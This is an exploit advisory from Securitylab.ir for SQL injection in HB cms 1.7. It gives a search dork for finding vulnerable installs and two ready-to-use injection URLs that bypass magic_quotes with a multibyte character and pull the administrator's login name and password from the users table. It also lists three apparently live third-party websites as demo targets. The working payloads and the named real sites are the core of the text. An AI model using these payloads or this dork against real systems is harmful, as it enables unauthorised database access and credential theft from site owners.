32 lines
1.2 KiB
Text
32 lines
1.2 KiB
Text
########################## Securitylab.ir ########################
|
|
# Application Info:
|
|
# Name: HB cms
|
|
# Version: 1.7
|
|
# Website: http://www.hbcms.com
|
|
#################################################################
|
|
# Discoverd By: Securitylab.ir
|
|
# Website: http://securitylab.ir
|
|
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
|
|
#################################################################
|
|
# Vulnerability Info:
|
|
# Type: Sql Injection
|
|
# Risk: Medium
|
|
# Dork: inurl:/hbcms/php/
|
|
# magic_quotes_gpc = On /\ register_globals = Off
|
|
#===========================================================
|
|
# User:
|
|
# http://site.com/[path]/php/update_article_hits.php?show_hits=yes&article_id=-1%e5" union select login_name from hbcms_users where id=1%23
|
|
#
|
|
# Pass:
|
|
# http://site.com/[path]/php/update_article_hits.php?show_hits=yes&article_id=-1%e5" union select login_pass from hbcms_users where id=1%23
|
|
#
|
|
# Demo:
|
|
# http://www.aolinivt.com/hbcms
|
|
# http://www1.bonetumor.cc/hbcms
|
|
# http://beauty-f.com/ps/hbcms
|
|
#===========================================================
|
|
#################################################################
|
|
# Securitylab Security Research Team
|
|
###################################################################
|
|
|
|
|